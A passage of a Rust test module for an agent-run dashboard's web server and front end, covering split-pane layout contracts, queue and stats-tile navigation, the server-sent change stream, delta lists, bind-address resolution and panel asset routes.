12210
12211    /// Wide screens get a master/detail layout built from the views a phone
12212    /// drills into. These are string assertions: they pin the contract between
12213    /// the three assets, not how it looks.
12214    #[test]
12215    fn wide_screens_show_list_and_preview_side_by_side() {
12216        // One breakpoint, spelled the same in the script and the stylesheet.
12217        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12218        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12219        assert!(APP_CSS.contains("main[data-split]"));
12220        assert!(APP_CSS.contains("body[data-split]"));
12221
12222        // The route -> panes table, and a narrow screen opting out of it.
12223        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
12224        assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12225        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12226        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12227        assert!(INDEX_HTML.contains("id=\"split-empty\""));
12228
12229        // Selection is derived from the route, and only ever paints a row.
12230        assert!(APP_JS.contains("function markSelected() {"));
12231        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12232        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12233        // The dense row must override the stacked card the 720px block sets up.
12234        assert!(
12235            APP_CSS.contains(
12236                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12237            )
12238        );
12239
12240        // Independent scrolling: the page stops scrolling, each pane does.
12241        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12242        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12243        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12244        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12245
12246        // A refresh must never navigate: the loaders still check that their
12247        // subject is the one on screen, and crossing the breakpoint only
12248        // re-reads the hash.
12249        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12250        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12251        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12252        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12253
12254        // The panel sandbox and its CSP are untouched by any of this.
12255        assert!(APP_JS.contains("sandbox: \"\""));
12256        assert!(!APP_JS.contains("sandbox: \"allow"));
12257    }
12258
12259    #[test]
12260    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12261        // consumeQueueFocus() clears an active Backlog search before it can
12262        // scroll to the target card (the sections list is hidden while a
12263        // search is showing), by recursing back into renderQueue(). The
12264        // fixer's first cut nulled state.queueFocus before that recursive
12265        // call, so the second pass saw nothing to jump to and the jump was
12266        // silently dropped whenever a notification's link was opened with a
12267        // stale search still active. state.queueFocus must only be cleared
12268        // right before jumpToTask() actually runs.
12269        assert!(
12270            APP_JS.contains(
12271                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
12272            ),
12273            "the search-clearing branch must run before state.queueFocus is cleared, or the \
12274             recursive renderQueue() call has nothing left to jump to"
12275        );
12276        assert!(
12277            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12278            "state.queueFocus must be cleared only once the jump has landed, so a card that \
12279             arrives later still gets it"
12280        );
12281        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12282        assert!(APP_JS.contains("is not in the current Backlog."));
12283        assert!(APP_JS.contains("li.card[data-task-id=\""));
12284        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12285        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12286        assert!(APP_CSS.contains(".card-permalink"));
12287        assert!(APP_CSS.contains(".queue-focus-status"));
12288        assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12289    }
12290
12291    #[test]
12292    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12293        // The task's own repro: only the link text inside .notice-meta was
12294        // clickable, so a tap on the message, the timestamp, or the card's
12295        // padding did nothing - on a phone that reads as "the card doesn't
12296        // work" even though the tiny link inside it did. Mark read / Dismiss
12297        // must keep working independently of this: `.closest("a, button")`
12298        // is what lets a tap that actually lands on those elements fall
12299        // through instead of being hijacked into a navigation.
12300        assert!(
12301            APP_JS.contains(
12302                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12303            ),
12304            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12305        );
12306    }
12307
12308    #[test]
12309    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12310        assert!(
12311            APP_JS.contains("round.verified_head !== round.head"),
12312            "a round that verified an earlier commit must be visibly distinct from one that \
12313             verified the head reviewers are looking at now"
12314        );
12315        assert!(
12316            APP_JS.contains("round.verified_at"),
12317            "when a check ran must be on the wire, not just which commit"
12318        );
12319        assert!(
12320            APP_JS.contains("resource_blocked"),
12321            "a command magi never got to run (shared build cache contention) must not render \
12322             the same as a command that ran and failed"
12323        );
12324    }
12325
12326    #[test]
12327    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12328        // Every KPI tile but Total runs and Completion names an exact
12329        // RunStatus and hands it to openRunsFiltered(), which is what wires
12330        // the click into state.runsFilter.status (matchesFilter's own
12331        // status check) rather than the coarser runsStateFilter chips. Each
12332        // status literal here must be one of the strings runSection() (and
12333        // isStale()) actually compare a run's own `status` field against -
12334        // a status this dashboard invented would filter to nothing.
12335        assert!(
12336            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12337            "every KPI tile built through statusTile() must route its click through \
12338             openRunsFiltered, the single place that sets the Runs filter"
12339        );
12340        for (label, status) in [
12341            ("Merged", "merged"),
12342            ("Ready", "ready"),
12343            ("Blocked", "blocked"),
12344            ("Stalled", "stalled"),
12345        ] {
12346            let call = format!("statusTile(\"{label}\", t.{status}, ");
12347            assert!(
12348                APP_JS.contains(&call),
12349                "expected the {label} KPI tile built via {call}..."
12350            );
12351            assert!(
12352                APP_JS.contains(&format!("status === \"{status}\"")),
12353                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12354                 compare a run against, not one invented only for the stats tile"
12355            );
12356        }
12357        assert!(
12358            APP_JS.contains("function openRunsFiltered(status)"),
12359            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12360        );
12361        assert!(
12362            APP_JS.contains(
12363                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12364            ),
12365            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12366        );
12367        // applyRoute() only flips which view is visible for a plain `#runs`
12368        // hash - it does not itself redraw the list (see applyRoute's own
12369        // handling below) - so openRunsFiltered must call renderRuns()
12370        // itself, and must call applyRoute() too so the view flips even
12371        // when the hash string doesn't change (the operator may already be
12372        // on the Runs view when a tile is tapped, which fires no
12373        // hashchange event at all).
12374        assert!(
12375            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
12376            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12377             hashchange event that may never fire"
12378        );
12379    }
12380
12381    #[test]
12382    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12383        // A stats tile can leave state.runsFilter.status set to something
12384        // done-by-construction (e.g. "merged") - picking "Active" afterward
12385        // must drop it the same way an incompatible tree section is already
12386        // dropped, or the Runs list renders permanently empty with no way
12387        // for the operator to tell why.
12388        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12389        assert!(
12390            APP_JS.contains(
12391                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
12392            ),
12393            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12394             guard for an incompatible tree section"
12395        );
12396    }
12397
12398    #[test]
12399    fn every_stats_queue_tile_names_a_real_queue_section() {
12400        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
12401        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
12402        // (consumeQueueSectionFocus finds no matching <details> and drops
12403        // the focus) rather than fail loudly, so pin every key against the
12404        // section list it has to resolve against.
12405        assert!(
12406            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12407            "every queue tile built through sectionTile() must route its click through \
12408             openQueueSectionFocus"
12409        );
12410        for key in ["upnext", "running", "done", "held", "blocked"] {
12411            assert!(
12412                APP_JS.contains(&format!("{{ key: \"{key}\",")),
12413                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12414            );
12415        }
12416        // Queued and Failed intentionally both resolve to "upnext" - the
12417        // same section queueSection() itself files them under - rather than
12418        // getting a section each.
12419        for line in [
12420            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12421            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12422            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12423            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12424            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12425            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12426        ] {
12427            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12428        }
12429    }
12430
12431    #[test]
12432    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12433        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
12434        // above for the section-focus channel a stats queue tile drives:
12435        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
12436        // through the stale-search-clear recursion into renderQueue(), and
12437        // clear it only once revealQueueSection() is actually about to run -
12438        // the same trap that once silently dropped a task-focus jump.
12439        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12440        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12441        assert!(APP_JS.contains("function revealQueueSection(details)"));
12442        assert!(
12443            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
12444            "renderQueue() must consume both focus channels on every pass"
12445        );
12446        assert!(
12447            APP_JS.contains(
12448                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
12449            ),
12450            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12451             the recursive renderQueue() call has nothing left to reveal"
12452        );
12453        assert!(
12454            APP_JS.contains(
12455                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
12456            ),
12457            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12458        );
12459        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
12460        // task-focus form of the hash - a plain `#queue` navigation only
12461        // flips which view is visible. openQueueSectionFocus() must
12462        // therefore call renderQueue() itself, and applyRoute() too so the
12463        // view flips even when the hash doesn't change (the Backlog may
12464        // already be open when a tile is tapped, firing no hashchange
12465        // event at all).
12466        assert!(
12467            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
12468            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12469             hashchange event that may never fire"
12470        );
12471    }
12472
12473    #[tokio::test]
12474    async fn the_change_stream_announces_the_current_revisions_on_connect() {
12475        let f = Fixture::start().await;
12476
12477        let mut socket = tokio::net::TcpStream::connect(f.addr)
12478            .await
12479            .expect("connect");
12480        socket
12481            .write_all(
12482                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12483            )
12484            .await
12485            .expect("write request");
12486
12487        // Read until the first event arrives rather than to end of stream: the
12488        // stream is endless by design, which is the point of the route.
12489        let mut seen = String::new();
12490        let mut buf = [0u8; 1024];
12491        while !seen.contains("event: change") {
12492            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12493                .await
12494                .expect("the stream must speak within five seconds")
12495                .expect("read");
12496            assert!(read > 0, "the server closed the change stream: {seen}");
12497            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12498        }
12499
12500        assert!(
12501            seen.to_lowercase()
12502                .contains("content-type: text/event-stream"),
12503            "the browser only reconnects automatically for a real SSE stream: {seen}"
12504        );
12505        let data = seen
12506            .lines()
12507            .find_map(|l| l.strip_prefix("data:"))
12508            .expect("a data line");
12509        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12510        assert!(
12511            payload["queue_rev"].is_u64()
12512                && payload["runs_rev"].is_u64()
12513                && payload["questions_rev"].is_u64()
12514                && payload["talks_rev"].is_u64()
12515                && payload["notifications_rev"].is_u64()
12516                && payload["loop_rev"].is_u64(),
12517            "the client needs one revision per store to know what to refetch, \
12518             and `talks_rev` is the only notification a standing talk gets - a \
12519             phone whose radio slept through a turn learns about it here, as \
12520             does one whose operator started the loop from another device: \
12521             {payload}"
12522        );
12523
12524        // The front end re-polls health on a timer and on wake, and takes the
12525        // revisions from that answer whenever the stream is not up. So health
12526        // has to carry every key the stream carries: a phone on a link that
12527        // will not hold an SSE connection is exactly the phone that must still
12528        // notice a question, and a missing key there is not a 500 but a UI
12529        // that quietly stops updating.
12530        let health = f.get("/api/health").await.json();
12531        for key in [
12532            "queue_rev",
12533            "runs_rev",
12534            "questions_rev",
12535            "talks_rev",
12536            "notifications_rev",
12537            "loop_rev",
12538        ] {
12539            assert!(
12540                health[key].is_u64(),
12541                "health is the change stream's fallback and is missing `{key}`: {health}"
12542            );
12543        }
12544    }
12545
12546    #[tokio::test]
12547    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12548        let f = Fixture::start().await;
12549        let before = f.get("/api/health").await.json()["talks_rev"]
12550            .as_u64()
12551            .expect("talks_rev");
12552
12553        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12554        std::thread::sleep(Duration::from_millis(10));
12555        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12556        on_disk.turns.push(crate::talk::Turn {
12557            who: crate::talk::Who::Operator,
12558            body: "a new turn".to_owned(),
12559            at: Timestamp::now(),
12560            attachments: Vec::new(),
12561            usage: None,
12562        });
12563        f.talks().put(&mut on_disk).expect("record a turn");
12564
12565        let after = f.get("/api/health").await.json()["talks_rev"]
12566            .as_u64()
12567            .expect("talks_rev");
12568        assert_ne!(
12569            before, after,
12570            "a phone must be able to notice a talk's reply without polling every store"
12571        );
12572    }
12573
12574    #[test]
12575    fn bind_reads_back_from_the_spelling_the_cli_prints() {
12576        // The CLI shows the default in `--help` and parses whatever comes
12577        // back, so the two directions have to agree or `--bind auto` breaks
12578        // the moment someone copies the help text.
12579        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12580            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12581        }
12582        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12583        assert!("everywhere".parse::<Bind>().is_err());
12584    }
12585
12586    #[test]
12587    fn an_explicit_bind_address_is_taken_verbatim() {
12588        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12589
12590        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12591
12592        assert_eq!(addr, asked);
12593        assert!(
12594            warning.is_none(),
12595            "an operator who named an address gets no lecture"
12596        );
12597    }
12598
12599    #[test]
12600    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12601        let (addr, warning) = resolve_bind(&Bind::Auto);
12602
12603        // This has to hold on a CI runner with no `tailscale` and on a dev box
12604        // with one, so the invariant asserted is the one shared by both
12605        // outcomes: the address is either a real tailnet address offered
12606        // without comment, or loopback with an explanation. What must never
12607        // happen is a silent fallback - an operator told "listening on
12608        // 127.0.0.1" with no reason would go looking for a firewall.
12609        match addr {
12610            IpAddr::V4(ip) if is_tailnet(&ip) => {
12611                assert!(warning.is_none(), "a tailnet address needs no warning");
12612            }
12613            other => {
12614                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12615                let warning = warning.expect("a fallback has to explain itself");
12616                assert!(
12617                    warning.contains("127.0.0.1") && warning.contains("local-only"),
12618                    "the warning says what happened and what it costs: {warning}"
12619                );
12620            }
12621        }
12622    }
12623
12624    #[test]
12625    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12626        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
12627        // boundary cases are what stop us binding to some other tool's idea of
12628        // an address.
12629        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12630        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12631        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12632        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12633        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12634    }
12635
12636    #[test]
12637    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12638        let ids = vec![
12639            "20260902-140501-aaaa".to_owned(),
12640            "20260902-140502-aabb".to_owned(),
12641        ];
12642
12643        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12644        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12645        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12646
12647        assert_eq!(missing.status, StatusCode::NOT_FOUND);
12648        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12649        assert_eq!(short, "20260902-140502-aabb");
12650    }
12651    #[tokio::test]
12652    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12653        // The prompt tells agents to reference attachments by bare filename.
12654        // A document served at `.../panel` resolves `shot.png` against its own
12655        // directory, i.e. `.../shot.png`, which is not the asset route - so a
12656        // panel written exactly as instructed showed broken images. Caught by
12657        // looking at a real one in a browser, not by reading the code.
12658        let fx = Fixture::start().await;
12659        let id = panel(
12660            &fx,
12661            "<img src=\"shot.png\">",
12662            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12663        );
12664
12665        // The frame's own URL ends in a filename, so its siblings are reachable.
12666        let doc = fx
12667            .get(&format!("/api/questions/{id}/panel/index.html"))
12668            .await;
12669        assert_eq!(doc.status, 200, "{}", doc.body);
12670        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12671
12672        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12673        assert_eq!(sibling.status, 200, "{}", sibling.body);
12674        assert_eq!(sibling.header("content-type"), Some("image/png"));
12675        assert_eq!(
12676            sibling.header("content-security-policy"),
12677            Some(PANEL_CSP),
12678            "the sibling route must carry the same policy as the asset route"
12679        );
12680
12681        // The original spelling keeps working: HEAD on it is how the front end
12682        // decides whether to mount a frame at all.
12683        assert_eq!(
12684            fx.head(&format!("/api/questions/{id}/panel")).await.status,
12685            200
12686        );
12687    }
12688
12689    #[test]
12690    fn delta_stamps_cover_add_update_remove_and_noop() {
12691        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12692        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12693        let delta = diff_stamps(&before, &after, 42);
12694        assert_eq!(delta.base, 42);
12695        assert_eq!(delta.changed, ["b", "c"]);
12696        assert_eq!(delta.removed, ["a"]);
12697        let same = diff_stamps(&after, &after, 43);
12698        assert!(same.changed.is_empty() && same.removed.is_empty());
12699        assert_ne!(stamps_revision(&before), stamps_revision(&after));
12700        let nanos: Stamps = [("b".into(), (2, 20))].into();
12701        let same_ms: Stamps = [("b".into(), (3, 20))].into();
12702        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12703        assert_eq!(stamps_revision(&Stamps::new()), 0);
12704    }
12705
12706    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12707        std::fs::create_dir_all(home.join("runs")).unwrap();
12708        Arc::new(Ui::new(
12709            Queue::at(home.join("queue")),
12710            Questions::at(home.join("questions")),
12711            Talks::at(home.join("talks")),
12712            home.join("runs"),
12713            home.to_owned(),
12714            PathBuf::from("/repo/magi"),
12715        ))
12716    }
12717
12718    #[tokio::test]
12719    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12720        let home = TempDir::new().unwrap();
12721        let ui = delta_test_ui(home.path());
12722        let mut task = Task::new(
12723            "stream task".into(),
12724            "text".into(),
12725            PathBuf::from("/repo"),
12726            Source::Human,
12727        );
12728        ui.queue.put(&mut task).unwrap();
12729        let response = events(State(ui.clone())).await.into_response();
12730        let mut stream = response.into_body().into_data_stream();
12731        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12732            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12733                .await
12734                .unwrap()
12735                .unwrap()
12736                .unwrap();
12737            let text = String::from_utf8(chunk.to_vec()).unwrap();
12738            let data = text
12739                .lines()
12740                .find_map(|line| {
12741                    line.strip_prefix("data: ")
12742                        .or_else(|| line.strip_prefix("data:"))
12743                })
12744                .unwrap();
12745            serde_json::from_str(data).unwrap()
12746        }
12747        let initial = change(&mut stream).await;
12748        assert!(initial.get("queue_delta").is_none());
12749        task.instruction.push_str(" changed");
12750        ui.queue.put(&mut task).unwrap();
12751        let updated = change(&mut stream).await;
12752        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12753        assert_eq!(
12754            updated["queue_delta"]["changed"],
12755            serde_json::json!([task.id])
12756        );
12757        assert_eq!(
12758            updated["queue_rev"].as_u64(),
12759            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12760        );
12761        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12762        let removed = change(&mut stream).await;
12763        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12764        assert_eq!(
12765            removed["queue_delta"]["removed"],
12766            serde_json::json!([task.id])
12767        );
12768    }
12769
12770    #[tokio::test]
12771    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12772        let home = TempDir::new().unwrap();
12773        let ui = delta_test_ui(home.path());
12774        let queue = ui.queue.clone();
12775        let query = |ids: Option<&str>| {
12776            Query(ListQuery {
12777                limit: Some(2),
12778                ids: ids.map(str::to_owned),
12779            })
12780        };
12781        let mut root = Task::new(
12782            "root".into(),
12783            "instruction".into(),
12784            PathBuf::from("/repo"),
12785            Source::Human,
12786        );
12787        queue.put(&mut root).unwrap();
12788        let mut blocked = Task::new(
12789            "blocked".into(),
12790            "instruction".into(),
12791            PathBuf::from("/repo"),
12792            Source::Human,
12793        );
12794        blocked.block(vec![root.id.clone()], None);
12795        queue.put(&mut blocked).unwrap();
12796        let whole =
12797            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12798                .unwrap();
12799        let subset = serde_json::to_value(
12800            queue_list(State(ui.clone()), query(Some(&root.id)))
12801                .await
12802                .unwrap()
12803                .0,
12804        )
12805        .unwrap();
12806        assert_eq!(whole, subset, "requested root plus its blocked dependent");
12807        let blockers = serde_json::to_value(
12808            queue_list(State(ui.clone()), query(Some("")))
12809                .await
12810                .unwrap()
12811                .0,
12812        )
12813        .unwrap();
12814        assert_eq!(blockers.as_array().unwrap().len(), 1);
12815        assert_eq!(blockers[0]["id"], blocked.id);
12816        assert_eq!(
12817            blockers[0]["waits_on"],
12818            whole
12819                .as_array()
12820                .unwrap()
12821                .iter()
12822                .find(|row| row["id"] == blocked.id)
12823                .unwrap()["waits_on"]
12824        );
12825
12826        for id in [
12827            "20260902-140501-aaaa",
12828            "20260902-140502-bbbb",
12829            "20260902-140503-cccc",
12830        ] {
12831            write_run(&ui.runs, id, RunStatus::Merged);
12832        }
12833        let old = serde_json::to_value(
12834            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12835                .await
12836                .unwrap()
12837                .0,
12838        )
12839        .unwrap();
12840        assert!(
12841            old.as_array().unwrap().is_empty(),
12842            "older updates must not enter the window"
12843        );
12844        let newest = serde_json::to_value(
12845            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12846                .await
12847                .unwrap()
12848                .0,
12849        )
12850        .unwrap();
12851        assert_eq!(newest.as_array().unwrap().len(), 1);
12852        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12853
12854        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12855        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12856        let talks = serde_json::to_value(
12857            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12858                .await
12859                .unwrap()
12860                .0,
12861        )
12862        .unwrap();
12863        assert_eq!(talks.as_array().unwrap().len(), 1);
12864        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12865        assert_eq!(
12866            serde_json::to_value(
12867                talks_list(State(ui.clone()), query(Some("")))
12868                    .await
12869                    .unwrap()
12870                    .0
12871            )
12872            .unwrap(),
12873            serde_json::json!([])
12874        );
12875    }
12876
12877    #[tokio::test]
12878    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12879    async fn delta_payload_benchmark() {
12880        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12881        let ui = delta_test_ui(&home);
12882        let query = |ids: Option<String>| {
12883            Query(ListQuery {
12884                limit: Some(50),
12885                ids,
12886            })
12887        };
12888        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
12889        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
12890        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
12891        let queue_id = queue
12892            .iter()
12893            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
12894            .unwrap_or(&queue[0])
12895            .task
12896            .id
12897            .clone();
12898        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
12899            .await
12900            .unwrap()
12901            .0;
12902        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
12903            .await
12904            .unwrap()
12905            .0;
12906        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
12907            .await
12908            .unwrap()
12909            .0;
12910        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
12911        eprintln!(
12912            "DELTA_PAYLOAD {}",
12913            serde_json::json!({
12914                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
12915                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
12916                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
12917                "counts": [queue.len(), runs.len(), talks.len()],
12918                "blocked": queue_delta.len() - 1,
12919            })
12920        );
12921    }
12922
12923    #[test]
12924    fn runs_revision_moves_when_deleting_an_older_run() {
12925        let temp = TempDir::new().expect("tempdir");
12926        let runs = temp.path().join("runs");
12927        std::fs::create_dir_all(&runs).expect("create runs dir");
12928
12929        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12930
12931        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12932        std::thread::sleep(Duration::from_millis(10));
12933        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12934
12935        let rev_before = runs_revision(&runs);
12936        assert!(rev_before > 0);
12937
12938        let old_dir = runs.join("20260901-100000-old1");
12939        std::fs::remove_dir_all(&old_dir).expect("remove old run");
12940
12941        let rev_after = runs_revision(&runs);
12942        assert_ne!(
12943            rev_before, rev_after,
12944            "deleting an older run must change the revision so other clients see the deletion"
12945        );
12946    }
12947
12948    /// A run's own `run.json` on an explicit `runs` root, bypassing the
12949    /// process-global home entirely — `RunState::save` writes through
12950    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
12951    /// (see `tests::home_lock` in the integration suite for why).
12952    fn write_state(runs: &FsPath, state: &RunState) {
12953        let dir = runs.join(&state.id);
12954        std::fs::create_dir_all(&dir).expect("run dir");
12955        std::fs::write(
12956            dir.join("run.json"),
12957            serde_json::to_string_pretty(state).expect("serialize run"),
12958        )
12959        .expect("write run.json");
12960    }
12961
12962    /// A seat starting or finishing is a write to `run.json` like any other,
12963    /// so it moves the same revision the change stream already watches —
12964    /// nothing new for `/api/events` to learn, but the property this feature
12965    /// depends on to reach the phone without a poll.
12966    #[test]
12967    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12968        let temp = TempDir::new().expect("tempdir");
12969        let runs = temp.path().join("runs");
12970        std::fs::create_dir_all(&runs).expect("create runs dir");
12971        let mut state = RunState::new(
12972            PathBuf::from("/repo/magi"),
12973            "main".to_owned(),
12974            "0123456789abcdef".to_owned(),
12975            "task".to_owned(),
12976            Config::default(),
12977        );
12978        state.id = "20260902-100000-c0de".to_owned();
12979        write_state(&runs, &state);
12980
12981        let rev_idle = runs_revision(&runs);
12982        std::thread::sleep(Duration::from_millis(10));
12983        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12984        write_state(&runs, &state);
12985        let rev_started = runs_revision(&runs);
12986        assert_ne!(
12987            rev_idle, rev_started,
12988            "a seat starting must move the revision"
12989        );
12990
12991        std::thread::sleep(Duration::from_millis(10));
12992        state.seat_finished("judge-1");
12993        write_state(&runs, &state);
12994        let rev_finished = runs_revision(&runs);
12995        assert_ne!(
12996            rev_started, rev_finished,
12997            "and clearing it again must move the revision a second time"
12998        );
12999    }
13000
13001    #[tokio::test]
13002    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13003        // `TaskView` flattens `Task`, so this is really asserting that
13004        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
